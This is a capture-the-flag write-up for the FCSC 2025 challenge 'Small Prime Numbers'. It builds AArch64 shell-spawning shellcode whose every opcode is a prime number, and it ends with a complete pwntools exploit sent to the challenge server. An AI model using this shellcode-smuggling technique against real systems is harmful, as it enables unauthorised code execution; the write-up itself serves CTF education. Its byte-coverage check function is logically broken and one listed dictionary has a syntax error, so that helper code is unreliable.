FCSC 2025 - Small Prime Numbers

Category : PWN

Phreaks 2600

You can find this writeup at Phreaks 2600 website

Context

This challenge is a service that accepts and executes a 32 bits Aarch64 shellcode only if each 4 bytes of opcode of the shellcode is a prime number.

Strategy

Because we need prime numbers, we can ban all 4 bytes of opcodes that are even. I wanted to know if it was possible to write anywhere and indeed before the shellcode starts executing, x0 value was pointing at an area mapped as RWX.

I can try pivoting the stack to this address to write my shellcode inside (using mov sp, x0) and branch x0 to execute it. But are these opcodes instructions 4-bytes prime numbers ?
I used this function to be sure :

11
2from pwn import *
3from sympy import *
4
5f = lambda _: isprime(u32(asm(_,arch="aarch64")))

mov sp, x0 is a valid instruction !
But br x0 is not…

I quickly found out that i had to search for an automatic way to write anything anywhere using only prime opcodes…

Semi-automatic prime instructions finder

I can point sp to a RWX area (pointed by x0). But can i write inside using only prime opcodes ?
I used the function above to manually tell if strb <reg>, [sp] (store byte instruction) was prime from x0-w0 to x30-w30 register range and strb w27, [sp] seems prime !

Notes : it seems that depending on a chosen register, the opcode becomes even or odd. And 4-bytes opcode is always odd when i use w27 register so that the instruction could potentially be a prime number !

So i have to control the LSB of w27 register.
With a combination of mov + add + sub, i can theoritically put any 256 bits value in w27 register…

Here is the function i used to get a set of ready-to-use prime opcodes :

 11
 2from pwn import *
 3from sympy import *
 4
 5def generate_all_primes_strb_sp_w27():
 6    global l1 # mov
 7    global l2 # add
 8    global l3 # sub
 9    for i in range(0,256):
10        instruction_1 = f"mov w27, #{i}"
11        instruction_2 = f"sub w27, w27, #{i}"
12        instruction_3 = f"add w27, w27, #{i}"
13        i_1 = u32(asm(instruction_1,arch="aarch64"))
14        i_2 = u32(asm(instruction_2,arch="aarch64"))
15        i_3 = u32(asm(instruction_3,arch="aarch64"))
16        if(isprime(i_1)):
17            l1[i] = (i_1,instruction_1)
18        if(isprime(i_2)):
19            l2[i] = (i_2,instruction_2)
20        if(isprime(i_3)):
21            l3[i] = (i_3,instruction_3)

And its result in l1, l2 and l3 global dictionnaries :

l1 = {7: (1384120571, 'mov w27, #7'), 22: (1384121051, 'mov w27, #22'), 28: (1384121243, 'mov w27, #28'), 53: (1384122043, 'mov w27, #53'), 65: (1384122427, 'mov w27, #65'), 67: (1384122491, 'mov w27, #67'), 80: (1384122907, 'mov w27, #80'), 86: (1384123099, 'mov w27, #86'), 97: (1384123451, 'mov w27, #97'), 98: (1384123483, 'mov w27, #98'), 100: (1384123547, 'mov w27, #100'), 122: (1384124251, 'mov w27, #122'), 125: (1384124347, 'mov w27, #125'), 140: (1384124827, 'mov w27, #140'), 143: (1384124923, 'mov w27, #143'), 157: (1384125371, 'mov w27, #157'), 158: (1384125403, 'mov w27, #158'), 160: (1384125467, 'mov w27, #160'), 176: (1384125979, 'mov w27, #176'), 197: (1384126651, 'mov w27, #197'), 202: (1384126811, 'mov w27, #202'), 223: (1384127483, 'mov w27, #223'), 227: (1384127611, 'mov w27, #227'), 235: (1384127867, 'mov w27, #235'), 238: (1384127963, 'mov w27, #238'), 241: (1384128059, 'mov w27, #241')}
l2 = {5: (1358960507, 'sub w27, w27, #5'), 19: (1358974843, 'sub w27, w27, #19'), 20: (1358975867, 'sub w27, w27, #20'), 23: (1358978939, 'sub w27, w27, #23'), 58: (1359014779, 'sub w27, w27, #58'), 59: (1359015803, 'sub w27, w27, #59'), 61: (1359017851, 'sub w27, w27, #61'), 71: (1359028091, 'sub w27, w27, #71'), 73: (1359030139, 'sub w27, w27, #73'), 91: (1359048571, 'sub w27, w27, #91'), 115: (1359073147, 'sub w27, w27, #115'), 118: (1359076219, 'sub w27, w27, #118'), 125: (1359083387, 'sub w27, w27, #125'), 133: (1359091579, 'sub w27, w27, #133'), 143: (1359101819, 'sub w27, w27, #143'), 164: (1359123323, 'sub w27, w27, #164'), 166: (1359125371, 'sub w27, w27, #166'), 170: (1359129467, 'sub w27, w27, #170'), 173: (1359132539, 'sub w27, w27, #173'), 208: (1359168379, 'sub w27, w27, #208'), 223: (1359183739, 'sub w27, w27, #223')}
l3 = {6: (285219707, 'add w27, w27, #6'), 12: (285225851, 'add w27, w27, #12'), 32: (285246331, 'add w27, w27, #32'), 39: (285253499, 'add w27, w27, #39'), 44: (285258619, 'add w27, w27, #44'), 54: (285268859, 'add w27, w27, #54'), 66: (285281147, 'add w27, w27, #66'), 72: (285287291, 'add w27, w27, #72'), 75: (285290363, 'add w27, w27, #75'), 101: (285316987, 'add w27, w27, #101'), 104: (285320059, 'add w27, w27, #104'), 105: (285321083, 'add w27, w27, #105'), 107: (285323131, 'add w27, w27, #107'), 111: (285327227, 'add w27, w27, #111'), 114: (285330299, 'add w27, w27, #114'), 117: (285333371, 'add w27, w27, #117'), 119: (285335419, 'add w27, w27, #119'), 122: (285338491, 'add w27, w27, #122'), 137: (285353851, 'add w27, w27, #137'), 156: (285373307, 'add w27, w27, #156'), 159: (285376379, 'add w27, w27, #159'), 171: (285388667, 'add w27, w27, #171'), 180: (285397883, 'add w27, w27, #180'), 186: (285404027, 'add w27, w27, #186'), 200: (285418363, 'add w27, w27, #200'), 207: (285425531, 'add w27, w27, #207', 209: (285427579, 'add w27, w27, #209'), 219: (285437819, 'add w27, w27, #219'), 227: (285446011, 'add w27, w27, #227'), 240: (285459323, 'add w27, w27, #240')}

A bunch of data ! To be sure that i can write any byte value i want, i used this function :

 11
 2def can_i_write_any_byte_value():
 3    for i in range(256):
 4        good = False
 5        for x,y in l1.items(): # mov
 6            for j,f in l2.items(): # sub
 7                if((x-j)%256 == x):
 8                    good = True
 9        for x,y in l1.items(): # mov
10            for j,f in l3.items(): # add
11                if((j+x)%256 == x):
12                    good = True
13        for x,y in l1.items(): # mov
14            for j,f in l3.items(): # add
15                for k,g in l3.items(): # add
16                    if((j+x+k)%256 == x):
17                        good = True
18        if(not good):
19            print("Can't write value " + str(i))

I can write any 256 bits value i want when using these combinations :

mov + sub
mov + add
mov + add + add

Writing the shellcode

I have to find a way to write the shellcode and i know that i can write byte by byte. But i have to increment sp. Luckily, add sp, sp, <imm> and sub sp, sp, <imm> are odd and potentially prime, but add sp, sp, #1 isn’t prime…

I used this function to return a couple of prime instructions to increment sp :

 11
 2from pwn import *
 3from sympy import *
 4
 5def increment_sp():
 6    f = lambda _: isprime(u32(asm(_,arch="aarch64")))
 7    for i in range(0,255):
 8        for j in range(0,255):
 9            if(i-j == 1):
10                a = "add sp,sp,#"+str(i)
11                s = "sub sp,sp,#"+str(i)
12                if(f(a) and f(s)):
13                    return a+" , "+s

This function returned

add sp,sp,#6
sub sp,sp,#5

Perfect ! I can now use these custom functions below to write my shellcode anywhere.

I used l1, l2 and l3 dictionnaries generated above

 11
 2from pwn import *
 3from sympy import *
 4
 5store_sp = asm("strb w27, [sp]",arch="aarch64")
 6add_sp_1 = asm("add sp, sp, #6",arch="aarch64") + asm("sub sp, sp, #5",arch="aarch64")
 7
 8def strb_sp_w27(x):
 9    for i,e in l1.items(): # mov
10        for j,f in l2.items(): # sub
11            if((i-j)%256 == x):
12                return p32(e[0]) + p32(f[0])
13    for i,e in l1.items(): # mov
14        for j,f in l3.items(): # add
15            if((j+i)%256 == x):
16                return p32(e[0]) + p32(f[0])
17    for i,e in l1.items(): # mov
18        for j,f in l3.items(): # add
19            for k,g in l3.items(): # add
20                if((j+i+k)%256 == x):
21                    return p32(e[0]) + p32(f[0]) + p32(g[0])
22
23def write_byte_with_sp(_):
24    f = b""
25    for i in range(len(_)):
26        f += strb_sp_w27(_[i]) + store_sp + add_sp_1
27    return f

And i will use write_byte_with_sp() to automatically write any byte i want. Here is my shellcode :

"""
   0:   f28c45e1        movk    x1, #0x622f
   4:   f2adcd21        movk    x1, #0x6e69, lsl #16
   8:   f2c5e5e1        movk    x1, #0x2f2f, lsl #32
   c:   f2ed0e61        movk    x1, #0x6873, lsl #48
  10:   ca1f03e2        eor     x2, xzr, xzr
  14:   a8840be1        stp     x1, x2, [sp], #64
  18:   ca1f03e1        eor     x1, xzr, xzr
  1c:   d10103e0        sub     x0, sp, #0x40
  20:   d2801ba8        mov     x8, #0xdd                       // #221
  24:   d40266e1        svc     #0x1337
"""

shellcode = b"\xe1\x45\x8c\xf2\x21\xcd\xad\xf2\xe1\xe5\xc5\xf2\x61\x0e\xed\xf2\xe2\x03\x1f\xca\xe1\x0b\x84\xa8\xe1\x03\x1f\xca\xe0\x03\x01\xd1\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"

However, i still have to branch x0 to execute the shellcode that is freshly written in the area pointed by x0 and br x0 instruction is not prime…

I can try to get a suitable value so that add sp, sp <imm> points near the end of the whole payload and so that i can write br x0 opcodes in this location. I manually found that 0x370 is quite good but i have to shift all my payload of 4 bytes. How can i do this ? Using any prime opcode instruction as the first instruction to act like nop ! (Because nop is not prime…)

I used mov w27, #7 (from l1 dictionnary) as the first instruction to be useless and to shift all my payload of 4 bytes so that add sp, sp #0x370 points to the near end of the payload. I can then write br x0 at this location to jump to my shellcode.

Synchronisation problem

Let’s recap using this layout below :

         +--------------------+                             |
+------> | mov w27, #7        | (nop : start of shellcode)  | <--- x0 points here
|        +--------------------+                             | 
|        | start of payload   |                             |
|        | that will write    |                             | Execution flow
|        | the shellcode      |                             |
|        +--------------------+                             | 
+------- | br x0              | written by our payload      |
         +--------------------+                             v

But wait… aren’t we executing our shellcode in an area that… writes our shellcode ?? Yes. And this causes a synchronization problem on Aarch64 (see this article)

To carefully synchronize, we have to use isb instruction : it flushes the CPU’s instruction pipeline and ensures that any changes to the program state (like memory writes or cache invalidations) are observed before the processor fetches and executes new instructions.

But isb isn’t prime on its own : it is still odd (and potentially prime). I can manually find a valid value with this instruction and isb #7 is prime.

I still have some space left between the start of the payload and br x0 so i can spray this instruction 8 times.

Why multiple times ? Idk maybe to increase chance of synchronizing and because i was tired i wanted it to work lol

Here is the final strategy :

         +--------------------+                             |
+------> | mov w27, #7        | (nop : start of shellcode)  | <--- x0 points here
|        +--------------------+                             | 
|        | start of payload   |                             |
|        | that will write    |                             |
|        | the shellcode      |                             |
|        +--------------------+                             | 
|        | isb #7             |                             |
|        | isb #7             |                             | Execution flow
|        | isb #7             |                             |
|        | isb #7             |                             |
|        | isb #7             |                             |
|        | isb #7             |                             |
|        | isb #7             |                             |
|        | isb #7             |                             |
|        +--------------------+                             |
+------- | br x0              | written by our payload      |
         +--------------------+                             v

Final Exploit

 11
 2from pwn import *
 3from sympy import *
 4
 5l1 = {7: (1384120571, 'mov w27, #7'), 22: (1384121051, 'mov w27, #22'), 28: (1384121243, 'mov w27, #28'), 53: (1384122043, 'mov w27, #53'), 65: (1384122427, 'mov w27, #65'), 67: (1384122491, 'mov w27, #67'), 80: (1384122907, 'mov w27, #80'), 86: (1384123099, 'mov w27, #86'), 97: (1384123451, 'mov w27, #97'), 98: (1384123483, 'mov w27, #98'), 100: (1384123547, 'mov w27, #100'), 122: (1384124251, 'mov w27, #122'), 125: (1384124347, 'mov w27, #125'), 140: (1384124827, 'mov w27, #140'), 143: (1384124923, 'mov w27, #143'), 157: (1384125371, 'mov w27, #157'), 158: (1384125403, 'mov w27, #158'), 160: (1384125467, 'mov w27, #160'), 176: (1384125979, 'mov w27, #176'), 197: (1384126651, 'mov w27, #197'), 202: (1384126811, 'mov w27, #202'), 223: (1384127483, 'mov w27, #223'), 227: (1384127611, 'mov w27, #227'), 235: (1384127867, 'mov w27, #235'), 238: (1384127963, 'mov w27, #238'), 241: (1384128059, 'mov w27, #241')}
 6l2 = {5: (1358960507, 'sub w27, w27, #5'), 19: (1358974843, 'sub w27, w27, #19'), 20: (1358975867, 'sub w27, w27, #20'), 23: (1358978939, 'sub w27, w27, #23'), 58: (1359014779, 'sub w27, w27, #58'), 59: (1359015803, 'sub w27, w27, #59'), 61: (1359017851, 'sub w27, w27, #61'), 71: (1359028091, 'sub w27, w27, #71'), 73: (1359030139, 'sub w27, w27, #73'), 91: (1359048571, 'sub w27, w27, #91'), 115: (1359073147, 'sub w27, w27, #115'), 118: (1359076219, 'sub w27, w27, #118'), 125: (1359083387, 'sub w27, w27, #125'), 133: (1359091579, 'sub w27, w27, #133'), 143: (1359101819, 'sub w27, w27, #143'), 164: (1359123323, 'sub w27, w27, #164'), 166: (1359125371, 'sub w27, w27, #166'), 170: (1359129467, 'sub w27, w27, #170'), 173: (1359132539, 'sub w27, w27, #173'), 208: (1359168379, 'sub w27, w27, #208'), 223: (1359183739, 'sub w27, w27, #223')}
 7l3 = {6: (285219707, 'add w27, w27, #6'), 12: (285225851, 'add w27, w27, #12'), 32: (285246331, 'add w27, w27, #32'), 39: (285253499, 'add w27, w27, #39'), 44: (285258619, 'add w27, w27, #44'), 54: (285268859, 'add w27, w27, #54'), 66: (285281147, 'add w27, w27, #66'), 72: (285287291, 'add w27, w27, #72'), 75: (285290363, 'add w27, w27, #75'), 101: (285316987, 'add w27, w27, #101'), 104: (285320059, 'add w27, w27, #104'), 105: (285321083, 'add w27, w27, #105'), 107: (285323131, 'add w27, w27, #107'), 111: (285327227, 'add w27, w27, #111'), 114: (285330299, 'add w27, w27, #114'), 117: (285333371, 'add w27, w27, #117'), 119: (285335419, 'add w27, w27, #119'), 122: (285338491, 'add w27, w27, #122'), 137: (285353851, 'add w27, w27, #137'), 156: (285373307, 'add w27, w27, #156'), 159: (285376379, 'add w27, w27, #159'), 171: (285388667, 'add w27, w27, #171'), 180: (285397883, 'add w27, w27, #180'), 186: (285404027, 'add w27, w27, #186'), 200: (285418363, 'add w27, w27, #200'), 207: (285425531, 'add w27, w27, #207'), 209: (285427579, 'add w27, w27, #209'), 219: (285437819, 'add w27, w27, #219'), 227: (285446011, 'add w27, w27, #227'), 240: (285459323, 'add w27, w27, #240')}
 8
 9nop = asm("mov w27, #7",arch="aarch64")
10mov_sp_x0 = asm("mov sp, x0",arch="aarch64")
11store_sp = asm("strb w27, [sp]",arch="aarch64")
12add_sp_1 = asm("add sp, sp, #6",arch="aarch64") + asm("sub sp, sp, #5",arch="aarch64")
13br_x0 = asm("br x0",arch="aarch64")
14
15def strb_sp_w27(x):
16    for i,e in l1.items(): # mov
17        for j,f in l2.items(): # sub
18            if((i-j)%256 == x):
19                return p32(e[0]) + p32(f[0])
20    for i,e in l1.items(): # mov
21        for j,f in l3.items(): # add
22            if((j+i)%256 == x):
23                return p32(e[0]) + p32(f[0])
24    for i,e in l1.items(): # mov
25        for j,f in l3.items(): # add
26            for k,g in l3.items(): # add
27                if((j+i+k)%256 == x):
28                    return p32(e[0]) + p32(f[0]) + p32(g[0])
29
30def write_byte_with_sp(_):
31    f = b""
32    for i in range(len(_)):
33        f += strb_sp_w27(_[i]) + store_sp + add_sp_1
34    return f
35
36shellcode = b"\xe1\x45\x8c\xf2\x21\xcd\xad\xf2\xe1\xe5\xc5\xf2\x61\x0e\xed\xf2\xe2\x03\x1f\xca\xe1\x0b\x84\xa8\xe1\x03\x1f\xca\xe0\x03\x01\xd1\xa8\x1b\x80\xd2\xe1\x66\x02\xd4" 
37
38payload = nop + mov_sp_x0
39payload += write_byte_with_sp(shellcode)
40payload += asm("add sp,sp,#0x370",arch="aarch64")
41payload += write_byte_with_sp(br_x0)
42payload += asm("isb #7",arch="aarch64") * 8
43
44with open("file","wb") as file:
45    file.write(payload)
46
47p = remote("chall.fcsc.fr",2101)
48p.send(payload)
49p.interactive()